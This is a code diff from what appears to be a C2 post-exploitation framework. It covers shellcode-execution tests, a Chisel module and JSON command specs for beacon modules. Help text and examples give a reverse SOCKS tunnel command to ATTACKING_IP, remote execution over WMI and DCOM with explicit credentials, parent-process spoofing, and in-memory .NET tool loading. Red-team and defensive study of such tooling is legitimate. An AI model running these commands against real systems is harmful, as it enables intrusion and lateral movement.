#include <string>
|
||||
#include <vector>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "../../ModuleCmd/Tools.hpp"
|
||||
#endif
|
||||
|
||||
using namespace test_helpers;
|
||||
|
||||
namespace
|
||||
@@ -34,6 +41,42 @@ bool expectAssemblyMessage(const C2Message& message,
|
||||
ok &= expect(!message.data().empty(), label + ": payload should be non-empty");
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath,
|
||||
const std::string& mode,
|
||||
const std::string& method,
|
||||
const std::string& arguments,
|
||||
const std::string& arch,
|
||||
const std::string& expectedMode,
|
||||
const std::string& displayCommand,
|
||||
const std::string& label)
|
||||
{
|
||||
bool ok = true;
|
||||
const bool exitProcess = mode != "thread";
|
||||
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
|
||||
sourcePath.string(),
|
||||
method,
|
||||
arguments,
|
||||
arch,
|
||||
exitProcess);
|
||||
ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error);
|
||||
if (!ok)
|
||||
return false;
|
||||
|
||||
AssemblyExec module;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = generated.path.string();
|
||||
task.payload = generated.bytes;
|
||||
task.executionMode = mode;
|
||||
task.displayCommand = displayCommand;
|
||||
|
||||
C2Message message;
|
||||
ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed");
|
||||
ok &= expectAssemblyMessage(message, generated.path, expectedMode, displayCommand, label);
|
||||
ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed");
|
||||
std::filesystem::remove(generated.path);
|
||||
return ok;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
@@ -42,6 +85,22 @@ int main()
|
||||
const std::string dummyExe = dummyExePath();
|
||||
const std::string currentArch = buildWindowsArch();
|
||||
|
||||
#ifdef _WIN32
|
||||
{
|
||||
StdCapture capture;
|
||||
capture.BeginCapture();
|
||||
const char* crtOutput = "crt-output\n";
|
||||
std::fwrite(crtOutput, 1, std::strlen(crtOutput), stdout);
|
||||
const char* winOutput = "win32-output\n";
|
||||
DWORD written = 0;
|
||||
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), winOutput, static_cast<DWORD>(std::strlen(winOutput)), &written, nullptr);
|
||||
capture.EndCapture();
|
||||
const std::string captured = capture.GetCapture();
|
||||
ok &= expect(captured.find("crt-output") != std::string::npos, "StdCapture should capture CRT stdout");
|
||||
ok &= expect(captured.find("win32-output") != std::string::npos, "StdCapture should capture Win32 stdout handle");
|
||||
}
|
||||
#endif
|
||||
|
||||
{
|
||||
AssemblyExec module;
|
||||
std::vector<std::string> cmd = {"assemblyExec", "thread"};
|
||||
@@ -81,11 +140,11 @@ int main()
|
||||
{
|
||||
const auto raw = writeTempFile("c2core_assembly_raw.bin", "raw-bytes");
|
||||
AssemblyExec module;
|
||||
std::vector<std::string> cmd = {"assemblyExec", "-r", raw.string()};
|
||||
std::vector<std::string> cmd = {"assemblyExec", "--mode", "process", "--raw", raw.string()};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "existing raw shellcode file should be accepted");
|
||||
ok &= expectAssemblyMessage(message, raw, "1", "-r", "raw process mode");
|
||||
ok &= expectAssemblyMessage(message, raw, "1", "--raw", "raw process mode");
|
||||
ok &= expect(message.data() == "raw-bytes", "raw bytes should be packed");
|
||||
std::filesystem::remove(raw);
|
||||
}
|
||||
@@ -126,7 +185,7 @@ int main()
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected");
|
||||
ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags");
|
||||
ok &= expect(message.returnvalue().find("Unknown assemblyExec option") != std::string::npos, "unknown payload option should explain accepted tags");
|
||||
}
|
||||
|
||||
{
|
||||
@@ -138,6 +197,15 @@ int main()
|
||||
ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method");
|
||||
}
|
||||
|
||||
{
|
||||
AssemblyExec module;
|
||||
std::vector<std::string> cmd = {"assemblyExec", "--donut-exe", "payload.exe"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "Donut mode should be rejected by module init");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut mode should point to TeamServer shellcode service");
|
||||
}
|
||||
|
||||
if (dummyExe.empty())
|
||||
{
|
||||
#ifdef _WIN32
|
||||
@@ -155,37 +223,41 @@ int main()
|
||||
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string()};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode");
|
||||
ok &= expectAssemblyMessage(message, dummyPath, "1", "-e", "dummy exe default process mode");
|
||||
ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation");
|
||||
ok &= expectPreparedDonutMessage(
|
||||
dummyPath,
|
||||
"process",
|
||||
"",
|
||||
"",
|
||||
currentArch,
|
||||
"1",
|
||||
"--mode process --donut-exe " + dummyPath.string(),
|
||||
"dummy exe TeamServer-prepared Donut process mode");
|
||||
}
|
||||
|
||||
{
|
||||
AssemblyExec module;
|
||||
module.setWindowsArch(currentArch);
|
||||
C2Message modeMessage;
|
||||
std::vector<std::string> modeCmd = {"assemblyExec", "thread"};
|
||||
ok &= expect(module.init(modeCmd, modeMessage) == -1, "thread mode should be configurable before Donut EXE mode");
|
||||
|
||||
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string(), "alpha", "beta gamma"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "dummy exe with arguments should be accepted by Donut EXE mode");
|
||||
ok &= expectAssemblyMessage(message, dummyPath, "0", "alpha beta gamma", "dummy exe thread mode with args");
|
||||
ok &= expect(message.cmd().find(dummyPath.string()) != std::string::npos, "dummy exe command should include input path");
|
||||
ok &= expectPreparedDonutMessage(
|
||||
dummyPath,
|
||||
"thread",
|
||||
"",
|
||||
"alpha beta gamma",
|
||||
currentArch,
|
||||
"0",
|
||||
"--mode thread --donut-exe " + dummyPath.string() + " -- alpha beta gamma",
|
||||
"dummy exe TeamServer-prepared Donut thread mode with args");
|
||||
}
|
||||
|
||||
{
|
||||
AssemblyExec module;
|
||||
module.setWindowsArch(currentArch);
|
||||
C2Message modeMessage;
|
||||
std::vector<std::string> modeCmd = {"assemblyExec", "processWithSpoofedParent"};
|
||||
ok &= expect(module.init(modeCmd, modeMessage) == -1, "spoofed-parent mode should be configurable before Donut EXE mode");
|
||||
|
||||
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string(), "--flag"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted in spoofed-parent mode");
|
||||
ok &= expectAssemblyMessage(message, dummyPath, "2", "--flag", "dummy exe spoofed-parent mode");
|
||||
ok &= expectPreparedDonutMessage(
|
||||
dummyPath,
|
||||
"processWithSpoofedParent",
|
||||
"",
|
||||
"--flag",
|
||||
currentArch,
|
||||
"2",
|
||||
"--mode processWithSpoofedParent --donut-exe " + dummyPath.string() + " -- --flag",
|
||||
"dummy exe TeamServer-prepared Donut spoofed-parent mode");
|
||||
}
|
||||
|
||||
{
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# Command Spec Reference
|
||||
|
||||
Command autocomplete is driven by JSON command specs exposed by the TeamServer through
|
||||
`ListCommands`. Do not add new client-side hardcoded autocomplete entries. Add or update a
|
||||
command spec instead.
|
||||
|
||||
## File naming
|
||||
|
||||
- Common commands live in `core/modules/ModuleCmd/CommandSpecs/common/<command>.json`.
|
||||
- Module commands live next to the module source as `<command>.json`.
|
||||
- The release build copies module specs into `CommandSpecs/modules/<command>.json`.
|
||||
- Avoid generic names such as `command.json`; they make release staging and reviews harder.
|
||||
|
||||
## Minimal module spec
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "whoami",
|
||||
"display_name": "whoami",
|
||||
"kind": "module",
|
||||
"description": "Print current user and group information from the beacon.",
|
||||
"command_template": "whoami",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["whoami"],
|
||||
"source": "manifest"
|
||||
}
|
||||
```
|
||||
|
||||
## Argument fields
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": false,
|
||||
"description": "Remote directory path.",
|
||||
"values": [],
|
||||
"variadic": true
|
||||
}
|
||||
```
|
||||
|
||||
Supported `type` values are currently descriptive, not enforced: `text`, `number`, `enum`,
|
||||
`path`, and `artifact`.
|
||||
|
||||
Use `values` for short static completions, especially enums. Use `examples` for complete
|
||||
usage shapes that should be suggested by the console.
|
||||
|
||||
## Command template
|
||||
|
||||
`command_template` is the canonical renderer used by the assistant to turn structured
|
||||
arguments into the exact beacon command line. Keep it in the CommandSpec; do not add
|
||||
client-side assistant schemas.
|
||||
|
||||
Placeholders use the same normalized argument name exposed to the assistant:
|
||||
|
||||
- positional args: `{path:q}` or `{command:raw}`
|
||||
- optional args: `{path:q?}` or `[-s {s:q}]`
|
||||
- boolean flags: `[--no-run {no_run:flag}]`
|
||||
|
||||
For flag args, strip leading dashes and replace dashes with underscores. For example,
|
||||
`--donut-exe` becomes `{donut_exe:q}` and `-P` remains `{P}`.
|
||||
|
||||
## Artifact-backed arguments
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "module",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "Module artifact compatible with the current session.",
|
||||
"artifact_filter": {
|
||||
"category": "module",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "native"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`session.platform` and `session.arch` are resolved by the client from the current beacon
|
||||
before it asks `ListArtifacts` for contextual autocomplete candidates.
|
||||
|
||||
When an argument can be resolved from several artifact categories, use `artifact_filters`
|
||||
instead of a single `artifact_filter`. Filters are treated as an OR-list by the client.
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "service_artifact",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"artifact_filters": [
|
||||
{
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"name_contains": ".exe"
|
||||
},
|
||||
{
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "file",
|
||||
"name_contains": ".exe"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "cat",
|
||||
"display_name": "cat",
|
||||
"kind": "module",
|
||||
"description": "Read and print a remote file from the beacon.",
|
||||
"command_template": "cat {path:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Remote file path.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"cat /etc/hosts",
|
||||
"cat C:\\Windows\\win.ini"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "cd",
|
||||
"display_name": "cd",
|
||||
"kind": "module",
|
||||
"description": "Change the beacon current working directory.",
|
||||
"command_template": "cd {path:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Remote directory path.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"cd /tmp",
|
||||
"cd C:\\Users\\Public"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
+22
-54
@@ -58,15 +58,32 @@ std::string Chisel::getInfo()
|
||||
info += "- chisel status\n";
|
||||
info += "- chisel stop pid\n";
|
||||
info += "Reverse Socks Proxy:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
|
||||
info += "- chisel client ATTACKING_IP:LISTEN_PORT R:socks\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
info += "Remote Port Forward:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
|
||||
info += "- chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
int Chisel::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
|
||||
{
|
||||
if (task.payload.empty())
|
||||
{
|
||||
c2Message.set_returnvalue("Shellcode payload is empty.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_instruction(std::string(moduleName));
|
||||
c2Message.set_inputfile(task.inputFile);
|
||||
c2Message.set_cmd(task.displayCommand);
|
||||
c2Message.set_data(task.payload.data(), task.payload.size());
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
@@ -117,59 +134,10 @@ int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() == 5)
|
||||
else if (splitedCmd.size() >= 2)
|
||||
{
|
||||
std::string inputFile=splitedCmd[1];
|
||||
std::string args;
|
||||
|
||||
for (int idx = 2; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
std::string method;
|
||||
std::string payload;
|
||||
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
|
||||
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_cmd(args);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
c2Message.set_returnvalue("Chisel start tasks are prepared by the TeamServer shellcode service.\n");
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
@@ -13,6 +13,9 @@ public:
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
|
||||
#endif
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
|
||||
@@ -36,4 +39,3 @@ extern "C" __declspec(dllexport) Chisel * A_ChiselConstructor();
|
||||
extern "C" __attribute__((visibility("default"))) Chisel * ChiselConstructor();
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"name": "chisel",
|
||||
"display_name": "chisel",
|
||||
"kind": "module",
|
||||
"description": "Launch the TeamServer-managed chisel.exe tool on a Windows beacon. The TeamServer generates shellcode from Tools/Windows/<arch>/chisel.exe before sending the task.",
|
||||
"command_template": "chisel {action} {server:q?} {reverse_spec:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Chisel action.",
|
||||
"values": ["client", "status", "stop"]
|
||||
},
|
||||
{
|
||||
"name": "server",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Server host and port used by chisel client."
|
||||
},
|
||||
{
|
||||
"name": "reverse_spec",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Reverse socks or reverse port-forward specification."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"chisel status",
|
||||
"chisel stop 1234",
|
||||
"chisel client 127.0.0.1:9001 R:socks",
|
||||
"chisel client 127.0.0.1:9001 R:1080:127.0.0.1:1080"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -61,11 +61,36 @@ int main()
|
||||
{
|
||||
Chisel module;
|
||||
module.setWindowsArch(currentArch);
|
||||
std::vector<std::string> cmd = {"chisel", "missing.exe", "client", "host:8000", "R:socks"};
|
||||
std::vector<std::string> cmd = {"chisel", "client", "host:8000", "R:socks"};
|
||||
C2Message message;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == -1, "missing payload file should be rejected");
|
||||
ok &= expect(!message.returnvalue().empty(), "missing payload file should explain the error");
|
||||
ok &= expect(module.init(cmd, message) == -1, "start commands should be prepared by the TeamServer service");
|
||||
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "start command should explain server-side preparation");
|
||||
}
|
||||
|
||||
{
|
||||
Chisel module;
|
||||
C2Message message;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.inputFile = "GeneratedArtifacts/payload/chisel.bin";
|
||||
task.payload = "shellcode";
|
||||
task.displayCommand = "client host:8000 R:socks";
|
||||
|
||||
ok &= expect(module.initPreparedShellcode(task, message) == 0, "prepared shellcode should be packed");
|
||||
ok &= expect(message.instruction() == "chisel", "prepared instruction should be set");
|
||||
ok &= expect(message.inputfile() == task.inputFile, "prepared input artifact path should be packed");
|
||||
ok &= expect(message.cmd() == task.displayCommand, "prepared display command should be packed");
|
||||
ok &= expect(message.data() == task.payload, "prepared shellcode bytes should be packed");
|
||||
}
|
||||
|
||||
{
|
||||
Chisel module;
|
||||
C2Message message;
|
||||
ModulePreparedShellcodeTask task;
|
||||
task.displayCommand = "client host:8000 R:socks";
|
||||
|
||||
ok &= expect(module.initPreparedShellcode(task, message) == -1, "empty prepared shellcode should be rejected");
|
||||
ok &= expect(message.returnvalue().find("empty") != std::string::npos, "empty prepared shellcode should explain the error");
|
||||
}
|
||||
|
||||
return ok ? 0 : 1;
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "cimExec",
|
||||
"display_name": "cimExec",
|
||||
"kind": "module",
|
||||
"description": "Execute a command on a remote Windows host through CIM/WMI.",
|
||||
"command_template": "cimExec -h {h:q} -c {c:q} [-n {n:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-h",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Remote host name or IP."
|
||||
},
|
||||
{
|
||||
"name": "-c",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Executable or command to start remotely."
|
||||
},
|
||||
{
|
||||
"name": "-n",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "CIM namespace. Defaults to root/cimv2."
|
||||
},
|
||||
{
|
||||
"name": "-a",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Arguments passed to the remote command."
|
||||
},
|
||||
{
|
||||
"name": "-u",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "DOMAIN\\user credentials."
|
||||
},
|
||||
{
|
||||
"name": "-p",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Password for explicit credentials."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"cimExec -h server01 -c cmd.exe -a \"/c whoami\"",
|
||||
"cimExec -h server01 -n root/cimv2 -c powershell.exe -a \"-nop -c whoami\""
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -65,11 +65,11 @@ std::string CoffLoader::getInfo()
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "coffLoader:\n";
|
||||
info += "Load a .o coff file and execute it.\n";
|
||||
info += "Load a TeamServer-managed .o COFF/BOF tool artifact and execute it.\n";
|
||||
info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
|
||||
info += "- coffLoader ./whoami.x64.o\n";
|
||||
info += "- coffLoader dir.x64.o go Zs c:\\ 0\n";
|
||||
info += "- coffLoader whoami.x64.o go\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
{
|
||||
"name": "coffLoader",
|
||||
"display_name": "coffLoader",
|
||||
"kind": "module",
|
||||
"description": "Load a TeamServer-managed COFF/BOF tool artifact and execute an exported function.",
|
||||
"command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "coff_file",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "COFF/BOF tool artifact from Tools compatible with the current session.",
|
||||
"artifact_filter": {
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "o",
|
||||
"name_contains": ".o"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "function_name",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Exported function to execute, usually go."
|
||||
},
|
||||
{
|
||||
"name": "packed_arguments",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional COFF argument format and values.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"coffLoader whoami.x64.o go",
|
||||
"coffLoader dir.x64.o go Zs c:\\ 0"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"name": "dcomExec",
|
||||
"display_name": "dcomExec",
|
||||
"kind": "module",
|
||||
"description": "Execute a command on a remote Windows host through DCOM.",
|
||||
"command_template": "dcomExec -h {h:q} -c {c:q} [-a {a:q}] [-w {w:q}] [-k {k:q}] [-u {u:q}] [-p {p:q}] [-n {n:flag}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-h",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Remote host name or IP."
|
||||
},
|
||||
{
|
||||
"name": "-c",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Executable or command to start remotely."
|
||||
},
|
||||
{
|
||||
"name": "-a",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Arguments passed to the remote command."
|
||||
},
|
||||
{
|
||||
"name": "-w",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Remote working directory."
|
||||
},
|
||||
{
|
||||
"name": "-k",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Kerberos SPN, for example HOST/server.domain."
|
||||
},
|
||||
{
|
||||
"name": "-u",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Username for explicit credentials."
|
||||
},
|
||||
{
|
||||
"name": "-p",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Password for explicit credentials."
|
||||
},
|
||||
{
|
||||
"name": "-n",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Use no password/current credential behavior."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"",
|
||||
"dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\user -p Passw0rd -c cmd.exe -a \"/c whoami\""
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -159,9 +159,10 @@ std::string DotnetExec::getInfo()
|
||||
info += "The execution occurred in the current process.\n";
|
||||
info += "Once an assembly is loaded, it can be reused using its assigned short name.\n\n";
|
||||
|
||||
info += "Usage:\n";
|
||||
info += " dotnetExec load <moduleShortName> <inputFile> <typeForDll>\n";
|
||||
info += " - Load a .NET assembly (EXE or DLL) into memory.\n";
|
||||
info += "Usage:\n";
|
||||
info += " dotnetExec load <moduleShortName> <toolArtifact> <typeForDll>\n";
|
||||
info += " - Load a .NET assembly (EXE or DLL) into memory.\n";
|
||||
info += " - The TeamServer resolves the assembly from Tools/<platform>/<arch>.\n";
|
||||
info += " - For DLLs, you must specify the fully-qualified type name (e.g., Namespace.ClassName).\n\n";
|
||||
|
||||
info += " dotnetExec runExe <moduleShortName> <arguments>\n";
|
||||
@@ -172,9 +173,9 @@ std::string DotnetExec::getInfo()
|
||||
info += " - You must have specified the type when loading the DLL.\n\n";
|
||||
|
||||
info += "Examples:\n";
|
||||
info += " dotnetExec load mytool ./Tool.exe\n";
|
||||
info += " dotnetExec load mytool Tool.exe\n";
|
||||
info += " dotnetExec runExe mytool \"--list --verbose\"\n\n";
|
||||
info += " dotnetExec load libmodule ./Library.dll MyNamespace.MyClass\n";
|
||||
info += " dotnetExec load libmodule Library.dll MyNamespace.MyClass\n";
|
||||
info += " dotnetExec runDll libmodule Run \"param1 param2\"\n\n";
|
||||
|
||||
info += "Notes:\n";
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
{
|
||||
"name": "dotnetExec",
|
||||
"display_name": "dotnetExec",
|
||||
"kind": "module",
|
||||
"description": "Load and execute .NET assemblies in memory. Assembly load inputs are resolved from Tools by the TeamServer.",
|
||||
"command_template": "dotnetExec {action} {module_name:q} {assembly_artifact:q?} {type_or_method:q?} {arguments:raw?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "DotnetExec action.",
|
||||
"values": ["load", "runExe", "runDll"]
|
||||
},
|
||||
{
|
||||
"name": "module_name",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Short name for a loaded assembly."
|
||||
},
|
||||
{
|
||||
"name": "assembly_artifact",
|
||||
"type": "artifact",
|
||||
"required": false,
|
||||
"description": "Assembly tool artifact for load.",
|
||||
"artifact_filters": [
|
||||
{
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "exe",
|
||||
"name_contains": ".exe"
|
||||
},
|
||||
{
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"format": "dll",
|
||||
"name_contains": ".dll"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "type_or_method",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "DLL type for load, or method name for runDll."
|
||||
},
|
||||
{
|
||||
"name": "arguments",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional runExe/runDll argument tail.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"dotnetExec load seatbelt Seatbelt.exe",
|
||||
"dotnetExec load tool Tool.dll Namespace.Type",
|
||||
"dotnetExec runExe seatbelt -- -group=system",
|
||||
"dotnetExec runDll tool Run arg1 arg2"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -47,13 +47,13 @@ std::string Download::getInfo()
|
||||
